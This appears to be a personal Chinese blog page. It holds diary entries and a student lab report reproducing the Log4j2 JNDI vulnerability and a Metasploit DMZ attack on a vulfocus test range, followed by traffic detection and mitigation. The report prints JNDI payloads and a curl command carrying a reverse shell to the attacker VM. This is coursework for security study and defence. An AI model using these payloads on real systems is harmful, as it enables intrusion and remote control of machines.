2025-01-29 00:54:00
年夜十一点半,想吃腊牛肉夹馍,忍不住下楼觅食,顺便散散心,看看年夜的街景。
奶奶已经睡了,也没打开电视看春晚,爸妈在武汉过年,家里只有一个还醒着的我,算是打出生来过的最冷清的年吧。
昨天去大舅家为团圆饭摆桌子时,大舅在抱怨桌子一年比一年小,来的人一年比一年少。想来这两天大舅脾气不好也是因为这个原因吧。
忽然意识到,大舅这一辈是几个亲兄弟姐妹的家庭聚在一起过年,外公去世后,一直都是大舅当这个大家庭的主心骨。我和同辈的兄弟姐妹们只是表亲的关系,生活更是相距甚远。这个大家庭的团聚,也许不得不随着上一辈的老去而逐渐消散了。
是啊,家里的年真的一年比一年冷清。记得刚去武汉的时候,回西安的年夜饭还是在老房子或者乾县,一大家子人整整齐齐的,大舅二舅姨妈和我们家,每家的父母子女都聚在一起。到了年夜里,还会跑到楼下放炮。待到年后几天,就是挨家挨户的串门了。后来长大些,年夜渐渐不放跑了,我以为是我长大了。再后来,哥哥姐姐或者这个那个亲戚总会少几个,大家都有自己的事情,自己的生活。要说具体的分界点,恐怕就是外公的离去了。
人变了,感情不知道变没变,倒是饭菜没什么大变化,还是凉菜和蒸碗,最喜欢的就是凉拌牛肉了。
其实并没有那么不能接受这样的变化,只是旧事物的消散总是那么让人感伤,只是年冷清,我的心这两天恰巧也冷清…
走到街上,本想着总有几家开门的馆子摊位吧,结果发现大街上空无一人,街边的店面更是大门紧闭。转悠了一圈,终于看到两个卖炸串的推车还在开张。
于是,典中典地,脑袋里蹦出来劳动者为生计年夜放弃团聚只为多赚钱的“悲愤”。这种想法居然持续到跟老板搭话,知晓她们回民不过年才停止。
年味在中国人心中还是重要的,不差那要放弃团聚才能多赚点钱的年夜开张了,我想到。低头看了看手机,还有五分钟就到新年了,耳边的烟花声音越来越大,我又抬起头望向高楼大厦的缝隙,见到了一束束烟花。
楼宇间,烟花绽放,璀璨夺目,想起奶奶还一个人在家,我向着家里走去。进楼前,有几个家庭正带着孩子出来放炮,猛然间,脑海里印出了那句话:悲欢并不相通。
新年快乐!
|
|
2025-01-20 17:57:00
和朋友出远门旅游的想法应该有了一两年了,今年五月的时候和 wy 第一次尝试,两个人从北京去乌兰察布玩了两天,由于实在没啥规划,完全是俩人都闲的受不了了,吃喝玩乐没那么如愿。所以这次去广东玩,期待是有的,但也有失望而归的准备。Luckily,这次的二人旅行还是很愉快的,虽然有些小插曲,但总体来说还是很开心的。
俩人一起出去旅行也不完全是一时兴起,之前就零零散散地和 lcy 提起过,趁着都保研了有些时间,就干脆利落定下来了。
绿皮火车上,本来想着带 Switch 一起玩打发时间,最后果然是没怎么玩,一直聊到凌晨一点。
讨论了未来的学业与就业,他比我更现实,而我总是想万全。我总认为困难是进入门槛,自信无论在什么环境总能适应,而他会警惕无法胜任 offer 的风险。讲真,跟他经常聊聊还挺好的,受益匪浅。
深圳气温比北京暖和,下了火车后,在 lihan 键政梗小鬼人格的驱使下,我们直奔了打卡点打卡,随后去了
2025-01-08 23:21:00
很多年没有坐过卧铺了。自武汉到西安的高铁开通后,假期里返乡一直是坐4个小时的高铁。还记得小时候回西安坐卧铺,我老想睡上铺,爸妈处于安全原因总是订的下铺的票,偶尔的一两次中铺上铺的机会总让我很兴奋。这里轮到自己订票了,倒是嫌麻烦,主动选了下铺。
列车和内饰似乎换了新皮肤,不再是熟悉的绿皮车,但每一个包厢还是靠窗的一对桌椅和相对的三层床。习惯了高铁的正襟危坐,再看卧铺里的旅客们都放松不少,我也脱下鞋子,蜷在床上抱上了电脑,码完这篇,一觉醒来后,就到汉口了。
倘若使我用一个词形容过去的一年,应是“梦幻”吧。人生五十年,如梦亦如幻。不用五十年,这三百六十日已然是梦幻了。
佛家说“一切有为法,如梦幻泡影,如露亦如电,应作如是观”。过去的一年里,我真切地感觉到这中虚幻之感,经历了许多,却没有一个在我手中掌控,能一把抓住。说是虚妄,又是我切实的体验。
2024开始的时候,已经过完了大学期间第一个单身的学期,在经历了报复性地学习(虽然都是杂七杂八不成体系的计算机技术)后,不是很典地开摆了。
记得年初第一款爆火的游戏幻兽帕鲁,在搭建私人服务器上狠狠实战了前段时间习得的计算机技术。在这微不足道的成就感的支持下,我稍微安心地玩了一段时间,不过很快焦虑又袭上心头。
寒假里,决定好了要好好学习考研,典中典地制定了各种计划,正如我一直以来的感觉,每当我觉得一切按照计划一切有条不紊地进行,就会取得理想的成果时,就已经点了。虽然无论时学习计划还是其他计划,我几乎都完全没有进行,但是在这种焦虑下,我零零碎碎地还是不时 get 一些新计算机小技能。虽然寒假里被爸妈逼迫裸考了雅思,但6.0的成绩也没让我有出国的想法,纯纯应付差事。
寒假后的学期里,距离考研的最终审判越来越近,我也放弃了在宿舍开卷的倔强,乖乖跑去自习室学习,高数算是开了个头吧,大部分时间又摆在了零零碎碎的计算机技术和更多的游戏上,不过总归是有定期学点东西的,所以仍然对考研充满信心。
暑假本打算留校学习,但很快发现恶劣的环境加上没人陪我,真待不下去了,回西安后更是直接开摆,我遂作出润香港的打算,后续直到保研的经历在保研帖子中有详细叙述,我就不赘述了。
梦幻的是,无论是看似稳扎稳打按计划学习考研,还是搞个雅思,直接润香港,这俩多少有点现实的路我都没走,反而因为运气和零零碎碎的奇怪技能走上了保研这条路。
刚上大学时就嚷嚷着要脱单,真谈上了后一谈就是两年,分手后到2024年初,又燃起恋爱的想法。暑假的这篇感伤也点出了我需要人陪伴。
其实我一直都容易受周围同伴的影响,记得幼儿园时,老师想把听话的我放在调皮的同学旁企图让我影响他,最后反而是我一起调皮了。长大后,特别是高中大学,发现自己无论吃喝玩乐学习,总希望有人陪着自己,过去一年里,为了毕业后的前途努力,我也希望有伙伴一起陪伴,无奈宿舍人各有志,遂不得不独自坚强规划自己的未来。
保研后,想着要谈谈恋爱了,约过女生吃饭,不过发现相处起来不是很舒服,似乎本科期间,除了谈了两年的前女友,再也没遇到喜欢的女生了,我想原因也是自己社交太少了。
时间到了十二月,月初的夜里,记得时12月13日凌晨,打完炉石的我说刷刷知乎睡觉了,偶然刷到了soul的广告,千不该万不该地在好奇驱使下下载了。本不想1多说什么,但是刚认识她的那两天晚上,我又感受到了久违的暧昧的上头,在床上开心地滚来滚去的我自然天真地以为遇到了爱情。
久困于平静的生活,我一直都期待做一些疯狂的事情,在这样的契机下,生日那天去找她也算不了什么困难了。于是天真的lihan穿上了舍友评价最高的衣服,一个人打车去了她的学校。
待我悻悻而归时,已是晚餐的时间了,在回去的出租车上,强烈的晕车感让我无暇伤心,直到下车路过宿舍而径直走过,眼眶才微微湿润起来。于是经历了人生第一次醉酒。我想我再也不会去墨可餐吧了。
其实也有好的哈哈,醉酒的lihan仍然直到什么该说什么不该说,在面对cwt的套话时守口如瓶,这倒打消了我一直以来的担忧。
其实至此,我应当死心了,但是谁让某人就是喜欢自我感动呢,直到码字的此刻,仍然…
之后的日子,我想着赶紧再网恋几个忘掉她,可惜这也是nerd的典中典幻想,网恋对于我而言也并非绰手可得的。
跨年前,在一周cp活动中认识了一个女生,虽然长我七岁,言谈间充满真诚与可爱,聊了不少,也因为同她一同看柯南电影跨年,发现了柯南挺好看的。她的出现又让我多少感受到了些世间的美好。
转念想想,下学期后,我就要回西安读研了,这样的距离我真的能维持这段关系吗?往后的相处中她还会那么天真可爱吗?我还能将心交给一个人吗?唉,也许我现在还不适合恋爱。
12月的这不到二十天,属于是速通恋爱了。。。
这一年最后一个月真是经历丰富啊哈哈,还认识了指导我做毕设的师哥。
9月底混完了毕设开题报告,就一直摆到12月才被师哥抓到工位开始敲毕设的代码。也算为数不多的好运吧,虽然课题不简单,但是因为和师哥的论文几乎一样,师哥提供了我思路和大致代码框架,我实现出代码,跑通就行了。
虽然只用写代码,但这密码学的代码真不是人写的,我平生第一次如此讨厌学计算机,痛恨写代码。因为代码太长太复杂,gpt 没法帮我直接写,加上里面全是各种对字符串进行加解密、通信传递、截取拼凑,真是给我整麻了。
与师哥的深入交流应该是在认识那个女生后了,记得是15号左右,和师哥去吃俄罗斯餐厅,我还记得路上我还在和她开心地聊天,师哥还问我怎么走路蹦蹦跳跳的,我马虎过去了。用餐过程中,师哥讲述了他的感情经历,我与师哥的交流也自此开始了。
也许这个年龄,这样经历(无趣又不安于无趣)的男生的交流都是从感情经历开始的吧,我也刚好把这段时间的经历与师哥分享了。之后的聚餐中,也算是跟着师哥慢慢提前了解点研究生的生活与tips。
2024真的充满了梦幻,原以为的路都没有走上,却因一个又一个的偶然有了许多经历。
也许我就是这么矛盾吧:
喜欢确定,生活却总被偶然牵引 留念过去,感情又会被时间磨平 追求惊喜,人生可总被无聊填满 渴望永恒,内心始终被绝望恐吓
有人说这样的想法显得我似乎心思细腻,多愁善感。我总说,每个人都有这样一面,我并不特别,只是忍不住总想表达出来。
希望新的一年能重拾一门乐器,无论时钢琴还是小提琴,总让给我的情绪有一个宣泄的阀门吧。
————2025.1.8 午夜于返鄂列车上
2024-12-26 22:52:00
一直记得一个说法,读小说不要看插画,因为看了插画后,小说里的 characters 的形象就不再是你的想象了。记不得在哪里看到的,甚至可能是初中的语文阅读题,不过我倒是百分百笃信这种说法的,以至于引申到了很多方面。
我倒是不那么厌恶剧透,但哪怕是一句的影评,一个预告,乃至于一张海报,都同剧透一般会磨灭掉剧情给我的一点惊喜。是的,只是磨灭一点。
但在看《戏梦巴黎》前,拒绝看影评简介,我倒不是因为怕失去惊喜。
我向来是喜欢对万事万物有自己的想法的,这种确定的感觉很重要。在浸润了对“现代”政治经济学批判的思想后,我开始有意识地阻止居伊·德波所谓的“景观”对我“纯洁”的想法的侵蚀。因此在看《戏梦巴黎》前,我承认我抱着我所鄙夷的“神圣感”去看这部电影,因而不想被影评简介中透露的观点————统治阶级与资产阶级影评人希望表达的观点————所影响,纵使资本主义下电影本身也是基于追逐利润的扩大再生产的副产物。
不出所料地扯远了,看电影前,我的脑海里只有几个零零碎碎的关键词:“文艺”、“三级片”、“毛主义”、“五月风暴”,其实就这四个词,我期待着能从观影中汲取到法国乃至欧洲在上世界六十年代的文化氛围与后现代主义的思考。
令我失望的是,在最直接的层面,电影似乎始终在利用“性”的禁忌来表现一种超越的感觉,而剧中人物的台词与思考,却始终停留在一种“现代”的思维中。例如剧中的三人有着超越现实的关系,但是本身对于这种关系的理解却仍是看作是一种禁忌的玩乐————“如果你爸妈知道了怎么办”“她们不会知道的”“万一呢”“自杀”。当然,我们可能需要考虑他们仍然生活在真实的现代的社会中,这种“禁忌的玩乐”带来的社会性死亡确实可能是一种灾难,但我仍然更希望他们超越这种现实的观念,去理解与接受这种的关系真实存在的道理。
此外,电影中出现的毛的海报也是我观影的原因之一,这部剧对毛、革命、五月风暴、反战(越南战争)的讨论也仅仅在父子的交流、两个男主的交流、极少的画面中展现,我甚至可以理解为仅仅是一种极其精准的狗哨政治。
不过影中的两个男主关于越南战争的争执与最后一幕中美国小伙与法国浪子的暴力革命之争(对印上里奥读红宝书中“革命是暴动”的观点一幕)倒还是给了我一丝丝的惊喜,是的,只有一丝丝。
不过电影终究还是催化出了我的一点灵感,关于爱的看法。
我的理性想来都是乐意去接受开放式的关系的,但感性上始终期待一生一世一双人的爱情,我讨厌感性与理性的矛盾,但很遗憾,感性始终更胜一筹,而理性也始终坚定。
但忽然的,我有了新的想法,有了一小步推进。我喜欢全新的想法,这会带来我一直以来最喜欢的情绪————惊喜。
对于接触恋人的其他男性,我总是担忧他们对我的地位造成威胁,比我更好,更吸引女友,从而从我这里夺走伴侣。但是,其实问题的关键很简单,我并不需要与恋人占据对方生活的百分百,并不需要比所谓“竞争者”的全部方面更好,我只需要因为我的一个或者几个方面对恋人的吸引,在恋人心中占据一个特殊的无可替代的位置。
不用成为全部的百分百,只做独一无二不可替代的一部分。
有了自己的想法,该去看看影评了。
庸俗地讲,无论好坏,我喜欢不同的观点。
2024-12-24 09:35:00
一直就有中博客上设置一个实时动态页面的想法,记录一些突然蹦进脑袋里的想法。
最开始的时候,专门搞了一个文章页面,用评论区来记录,但是这样总怪怪的,就取消了。
大改博客后,我把所有使用了 musing
tag 的文章作为 随想
在单独的随想页面展示,这样虽然emmm 齐整了点,但是还是不够实时。
看到 吕楪 的实时动态,发现这正是我需要的效果,顺着发现了 ActivityPub
协议,这个协议还可以让我们的博客和其他的社交平台进行去中心化交互,这样就可以实现一个实时动态了。
诚然,我清楚地知晓,开发实时动态页面,抑或是其他什么,不过是在转移自己的注意力罢了。
有人会把个人的困顿愁虑用虚无缥缈的宏大叙事来掩饰,称这种忧伤不过是小布尔乔亚的无病呻吟,我虽已不这般骗自己,但料想自己和他们也没什么两样吧。
嘴上一直说自己运气好,其实一直不愿意把心放在这不可控的玄幻之物上。不过在她这里,我的运气似乎从来没有灵光。
就是忧伤,
没什么,就是忧伤
根据 how-to 大概了解了 ActivityPub
的基本原理。
似乎开发这样一个留言板是一个浩大的工程,基于一个底层的协议,需要自己实现很多东西,精力还是放在完善毕设先,等以后有时间再来搞这个。
又注意到 Mastodon
这个开源的社交网络,是一种基于 ActivityPub
协议的实现,索性直接加个页面链接过去吧。
2024-12-23 21:06:00
–
成员合作提交作业流程见于 GitHub 小组合作说明文档.md .
每个成员都完整复现出 网络安全 (2021) 综合实验 流程
复现完成后分工补充和改进内容
实验日程
–
在 kali 官网 下载 kali 虚拟机导入自己的虚拟机平台. 我们使用的是 VMware , kali 版本为 2024.1, 虚拟机网卡配置如下 :
kali@victim
kali
192.168.136.144
192.168.5.132
kali@attacker
kali
192.168.136.147
192.168.5.135
–
安装和配置 docker :
|
|
–
查看 git 和 docker 版本 :
–
参考 小陈的容器镜像站 配置 docker 镜像源 :
使用命令 git clone https://github.com/c4pr1c3/ctf-games.git
克隆 ctf-games 仓库 :
–
拉取 docker 镜像 vulfocus :
切换到 ctf-games/fofapro/vulfocus 目录下, 执行 bash start.sh
, 选择 host-only 网卡对应的 IP 地址 :
在宿主机浏览器上访问此 IP 地址, 默认用户名和口令均为 admin :
–
关键词
Log4j2
:Apache Log4j2 是 Java 平台上的一个开源日志框架,它是 Log4j 的下一代版本,提供了更为高效且灵活的日志记录功能。反弹 Shell
:利用目标系统的漏洞来启动 shell 会话,然后访问受害者的计算机。目标是连接到远程计算机并重定向目标系统 shell 的输入和输出连接,以便攻击者可以远程访问它。ldap
:轻量级目录访问协议 (Lightweight directory access protocol) 是一种帮助用户查找有关组织、个人等的数据的协议。 LDAP 有两个主要目标:将数据存储在 LDAP 目录中并对访问该目录的用户进行身份验证。它还提供应用程序从目录服务发送和接收信息所需的通信语言。目录服务提供对网络中组织、个人和其他数据的信息所在位置的访问。JNDI
:Java Naming and Directory Interface 是一个应用程序编程接口(API),它为使用 Java TM 编程语言编写的应用程序提供命名和目录功能。它被定义为独立于任何特定的目录服务实现。因此,可以通过通用方式访问各种目录(新的、新兴的和已部署的)。–
漏洞原理
在 NIST 网站中可以看到,按照 CVSS 3.1 的评分标准,该漏洞的评分为10分,是一个极其严重的漏洞。
在 cloudflare 的博客中,详细介绍了该漏洞的原理和利用方式:
${jndi:ldap://example.com/a}
的字符串,Log4j 会在记录日志时尝试解析这个字符串。在 GitHub Gist 的页面可以看到,由于Log4j广泛用于各种Java应用程序和服务,因此这个漏洞影响范围非常广泛,包括Web服务器、应用程序服务器、邮件服务器等。
–
下载 Log4j2 镜像并启动漏洞靶标 :
尝试在 URL 后补充 ‘/hell’ 和 ‘/hello’ :
在 kali 中执行 docker ps
查看正在运行的容器 :
Log4j2 对应的容器名称为 eloquent_boyd
进入容器 :
|
|
–
发现 demo.jar 文件, 将其拷贝出来 :
|
|
–
使用 jd-gui
工具反编译, 查看代码 :
确实发现漏洞.
–
|
|
–
–
–
|
|
–
根据教学视频中所讲代码中出现漏洞问题是在logger.error,logger.info
函数中,但并没讲述原因
–
我进行跟进了解此漏洞原理发现
|
|
此代码也有问题
这两行代码分别设置了LDAP
和RMI
的JNDI
配置,允许从不受信任的URL加载代码库
而Log4j2在处理日志消息时它会扫描消息中的${}
语法来识别 Lookups
标记,根据 Lookups
标记的类型,调用相应的解析器来获取实际值
|
|
–
这里就用到JNDI lookups
Log4j2在记录日志时会解析${}
中的内容。在这种情况下,它会尝试通过JNDI
查找ldap后的内容
如果查找内容是攻击者控制的LDAP服务器,它可以响应一个包含恶意代码的对象。
应用程序加载并执行从恶意服务器返回的代码,从而导致远程代码执行(RCE)
而logger.error/info
中所包含的payload
可能就是攻击者控制的服务器地址
所以才产生了漏洞
–
打开网站 http://www.dnslog.cn/ , 获取随机子域名 95p55c.dnslog.cn
:
根据靶场容器 URL 和获取的子域名,对 payload 字段进行编码, 编码平台可使用 https://www.urlencoder.org/ .
|
|
–
发现四条解析记录,说明漏洞可利用 :
一开始做的时候根据老师视频演示的代码来做发现运行不了的问题,然后我们查看根据反编译结果发现,缺陷函数用到的是 get 请求方法,所以该环境不能支持 post ,所以我们得换成发送 get 请求
–
下载工具 log4j-scan 并扫描漏洞 :
|
|
–
成功扫描到漏洞 !
–
(1). 有些场景下使用 python3
来执行 log4j-scan.py , 终端不会有任何响应信息, 改为 python
即可正确执行.
(2). curl POST 请求不允许 : 按照原教程,使用 curl -X POST
发送请求,但是返回 405 Method Not Allowed
错误。
curl "http://192.168.4.129:26678/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxco6xt.dnslog.cn%2Flihan3238%7D"
(3). log4j-scan.py 报错
除了上述问题,log4j-scan.py
一开始使用命令 python3 log4j-scan.py --request-type post -u http://192.168.182.129:43381/hello
还有报错 requests.exceptions.ConnectionError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f8240f643d0>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))
log4j-scan.py
代码中 interact.sh
服务器只能通过 HTTP 访问,而脚本默认使用 HTTPS 访问--dns-callback-provider dnslog.cn
参数,使用 dnslog.cn
作为 DNS 回调服务器–
新建一台 kali 虚拟机, 为其配置一块 host-only 网卡, 主机名改为 attacker
:
|
|
–
在虚拟机 attacker 上安装 tmux 和 asciinema :
|
|
–
tmux 的简单使用 :
|
|
–
在 attacker 虚拟机中先简单布置两个终端窗口, 一个为 attacker 本身, 另一个通过 ssh 连接到 victim 虚拟机.
在 attacker 终端窗口上 :
|
|
–
在 victim 终端窗口上 :
|
|
–
录制的 asciinema 视频 :
–
在 attacker 虚拟机中下载 JNDIExploit.v1.2.zip, 解压缩, 计算校验和 :
尝试反弹 Shell :
这里使用 tmux 分割三个终端, 分别执行以下命令 :
|
|
–
flag 即为 : flag-{bmh95894fd4-c71c-4ad5-b1eb-83b886126dcf}
–
asciinema 录屏 :
–
原先的 curl http://192.168.182.129:43381/hello -d 'payload=${jndi:ldap://192.168.182.130:1389/TomcatBypass/Command/Base64/'$(echo -n 'bash -i >& /dev/tcp/192.168.182.130/7777 0>&1' | base64 -w 0 | sed 's/+/%252B/g' | sed 's/=/%253d/g')'}'
命令执行失败 :
注意到这里又出现了 POST 请求不允许的情况,根据昨天的经验,使用 GET 请求替代:
|
|
发现又无效,原因是 URL 编码问题:
When making a request to an API, the parameters included in the URL request may contain characters that have special meaning for the web server. URL encoding allows the browser or web server to safely transfer this data , as it converts all special characters and spaces into a format that web browsers can understand.
同时,注意到改为 GET 请求后,Bash 命令的 Base64 编码也需要修改,摸索了一下,最终成功写出 Bash 命令
–
|
|
–
本来配置了 host-only 网卡 eth0 和 NAT 模式网卡 eth1, 但 kali 开机后, 使用 ip a
命令查看 IP 地址, 发现这两块网卡的 state 都是 DOWN, 正常网卡应该是 UP 的. 尝试解决这个问题 :
以 eth0 为例, 临时方案 :
|
|
完全解决方案 ( Kali Linux 2023.4 版本可行 ) :
|
|
–
|
|
–
asciinema 录屏 :
–
这张图表展示了Log4j JNDI攻击的原理和防御方法:
–
User-Agent: ${jndi:ldap://evil.xa/x}
–
在之前的报告中了解了此漏洞的原理,我尝试深入理解代码原理进行漏洞修复
代码文件demo.jar
我们找到BOOT-INF/classes/com.example.log4j2_rce
LEVEL
–
|
|
当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小
–
|
|
–
这个配置文件在我们实验环境中没有存在,在这个文件中,比较关键的是他设置了logger触发的默认等级为 <root level="error">
只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走
而在我进行dnslog测试的时候发现
有两条返回值,说明logger.info
函数也执行了(‘info’>‘error’)。也就说明默认等级是info
–
在我对代码进一步研究的时候,我发现一个名叫LowLevelLogUtill.class
的文件
文件注释中解释了这段代码的作用 ,他将低等级的代码用另一种方式简单记录下来
那在log4j2.xml
文件中将默认等级设为0,那日志记录时logger调用的就是这个函数,也就不会触发漏洞。
缺点就是此函数记录日志的方式简单,无法处理复杂的日志
JNDI
–
我们知道log4j2 CVE-2021-44228 漏洞
核心问题在于JNDI lookup
那我就从这里入手
看到代码
|
|
–
我询问了gpt里面变量代表的是设置了LDAP和RMI的JNDI配置,允许从不受信任的URL加载代码库,com.sun.jndi.ldap.object.trustURLCodebase
是一个Java系统属性。当设置为true时,它允许JNDI在LDAP查找过程中从URL加载远程代码库
这两个设置都是安全风险,因为它们允许远程服务器提供的代码在本地执行,这可能被攻击者利用进行远程代码执行(RCE)攻击。
那我将这些属性设置为false
理论上就终止了lookup对远程进行查询
但在实际实验过程中我将漏洞文件demo.jar
反编译以后打包到本地进行修改又编译为demo1.jar
传到虚拟机进行检测时发现无法解析编译
–
在主机上编译又有许多报错,我猜测可能是版本问题
JNDIlookup
。–
JNDIlookup.class
简单粗暴,我一层一层的解压找到class文件直接删除,然后放到docker容器里面替换demo.jar运行出现报错
–
|
|
Spring Boot
可执行 JAR 文件中,BOOT-INF/lib/jackson-annotations-2.9.0.jar
文件被压缩了,而 Spring Boot 期望嵌套的 JAR 文件是未压缩的。这是因为 Spring Boot 的 JAR 文件加载器不支持解压缩嵌套的 JAR 文件。–
我觉得是我jar压缩出来的格式不对,我压根没动过jackson-annotations-2.9.0.jar
。而且在此之前系统莫名其妙将META-INF/MANIFEST.MF
的文件内容给我改了,这一条路也就不了了之.
那我就选择从系统入手,在上网查阅资料后发现有三种方法
1.采用人工方式禁用JNDI,例:在spring.properties中添加spring.jndi.ignore=true
2.修改 jvm 参数:-Dlog4j2.formatMsgNoLookups=true
|
|
3.将系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true
三种方法中最权威也是最快捷的方法就是改环境变量,但在实验下来以后发现把靶机,容器,镜像环境变量改了重启还是会攻击成功,但dnslog中只有一条回显。
修改jvm参数执行demo.jar发现攻击失败并且流量检测检测到了攻击,该方法是唯一一次成功缓解攻击的
–
–
这里发现镜像 vulfocus/struts2-cve_2020_17530
对应容器的 CONTAINER ID 为 12499e844404
, 下面尝试捕获指定容器的上下行流量 :
|
|
–
–
问题
部署 DMZ 场景, 一直失败. 请教老师后, 发现我的两位室友也都遇到了同样的问题哈哈, 需要自己写一个 dockerfile, 将 vulshare/nginx-php-flag 容器中的 /2.sh 的 ping aa.25qcpp.dnslog.cn
命令删去即可 ( 因为无法 ping 通 ). 但是当我回到宿舍中, 还没动手修改, 却发现此能跑通了 ! 即宿舍网环境中能正常 ping 此域名 :
–
|
|
–
原先的 attacker 虚拟机运行 msfconsole 命令报错了, 查阅诸多方法无法解决, 遂使用新虚拟机作为 attacker 了 :
–
收集信息, 寻找合适的 exp :
|
|
–
|
|
–
设置好靶机 ip, 端口等信息 :
|
|
|
|
–
发现 flag-{bmh5385b98e-4e60-4423-8c7f-6d01adb1b517} !
–
asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 但过程一致 ) :
–
这里需要将已获得的 1 号会话即外层主机 shell 升级为 meterpreter
meterpreter 是 Metasploit 框架中的一个高级 payload,提供了一个强大的内存驻留 shell,允许攻击者在目标系统上执行各种命令和脚本,而不会在目标系统的硬盘上留下痕迹. 它具备强大的后渗透功能,可以帮助攻击者在目标系统上进行广泛的操作. 与控制台之间的通信经过加密,防止流量被拦截和分析.
|
|
–
进入 meterpreter 会话后 :
|
|
–
|
|
–
|
|
–
–
|
|
–
|
|
–
|
|
–
asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 但过程一致 ) :
–
|
|
–
–
来看最终输出结果吧 !
–
asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 整体过程一致 ) :
–
|
|
–
–
|
|
–
注意到这里开放了 80 端口的 ip 是 192.176.85.3 !
|
|
–
发现 flag-{bmh516b6e99-fcae-4f36-9beb-e6a1d37d58e0} !
DMZ 场景五面 flag 全部找到 ! 初步完成实验 !
–
asciinema 录屏 :
–
nginx-php-flag 镜像的容器启动失败 :
ping aa.25qcpp.dnslog.cn
,实际上 ping 不通;ping aa.25qcpp.dnslog.cn
为ping 127.0.0.1
,保证容器持续运行,重新构建镜像并运行容器. ( 或者改为 tail -F /test
, 表示持续监控指定文件 /test 的末尾内容,并实时输出到终端, 这也满足了容器一直运行的需求 )–
|
|
–
wireshark
分析流量–
zeek
工具来分析流量
|
|
–
根据前面使用 msfconsole
利用 struts2-cve_2020_17530
漏洞攻击 victim-1
的 multi/http/struts2_multi_eval_ognl 模组的源码 :
|
|
使用 urlencoded-form.value contains "%{"
进行过滤 成功找到攻击流量
–
在 http.log
文件中找到 POST
请求 cat http.log | grep 'POST'
根据 数据包大小
目标 IP
等信息,检查可疑流量
根据 resp_fuids
字段追踪到 extract_files
文件夹中的文件 extract-1721031278.696195-HTTP-F09DHeMj0fa3AJXZf
在 extract_files
文件中找到攻击流量
|
|
–
根据 exploit/multi/misc/weblogic_deserialize_asyncresponseservice 模组的源码
:
|
|
使用 xml.cdata contains "/bin/bash"
进行过滤 成功找到攻击流量
–
在 http.log
文件中找到 POST
请求 cat http.log | grep 'POST'
根据 数据包大小
目标 IP
等信息,检查可疑流量
根据 resp_fuids
字段追踪到 extract_files
文件夹中的文件 extract-1721031619.297156-HTTP-FhwTjm4kJ4ayjxLYHl
在 extract_files
文件中找到攻击流量
|
|
–
zeek
编译安装失败
在链接 caf
时报错
原因:找不到 caf
库
解决:安装 caf
库或使用 zeek
官方提供的 zeek
镜像
根据官网的安装指南,安装 caf
库
|
|
–
|
|
|
|
–
攻击失败,检查 tcpdump
抓取的流量文件
有失败的攻击流量,但没有成功,说明漏洞已缓解
–
|
|